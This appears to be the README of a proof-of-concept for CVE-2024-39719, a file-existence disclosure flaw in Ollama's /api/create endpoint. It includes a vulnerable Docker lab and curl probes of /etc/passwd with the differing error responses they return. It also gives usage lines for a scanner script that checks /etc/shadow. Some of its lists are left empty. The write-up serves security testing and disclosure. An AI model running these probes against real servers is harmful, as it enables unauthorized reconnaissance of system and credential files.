
CVE-2024-39719 is a file existence disclosure vulnerability affecting Ollama versions 0.3.14 and earlier. This vulnerability allows attackers to detect the existence of specific files on the server through an API endpoint, potentially leading to information leakage.
Release Date: October 31, 2024
The vulnerability exists in the /api/create endpoint of Ollama. When an attacker calls the CreateModel API with a path parameter, the server returns different error messages based on whether the path exists or not. This behavior allows an attacker to determine if a specific file or directory exists on the server by analyzing the error messages.
The core issue is that when handling user input, the system directly exposes file system errors to the client instead of properly hiding path existence information.
This vulnerability affects all versions of Ollama up to and including 0.3.14.
While a file existence disclosure vulnerability may initially appear less severe, it can:
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/.Send a request using curl to attempt to access a non-existent file:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
Response:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
Test for an existing file, such as /etc/passwd:
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
Response:
{"error":"no FROM line for the model was specified"}
By analyzing these different error messages, an attacker can determine whether a target path exists or not, gaining information about the server's file structure. Note that the information returned by the server may vary depending on the version.
Ollama has fixed this vulnerability in newer versions. The fixes include:
/api/create endpoint.The provided Python script allows you to test if an Ollama server is vulnerable to CVE-2024-39719.
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url: URL of the Ollama server (required)-f, --file: File to check for existence (defaults to "/etc/passwd")# Check if a server is vulnerable
python CVE_2024_39719.py -u http://your-ip:11434
# Check if a specific file exists
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
This script is provided for educational purposes and legitimate security testing only. Always ensure you have proper authorization before testing any system for vulnerabilities. Unauthorized testing may violate laws and regulations.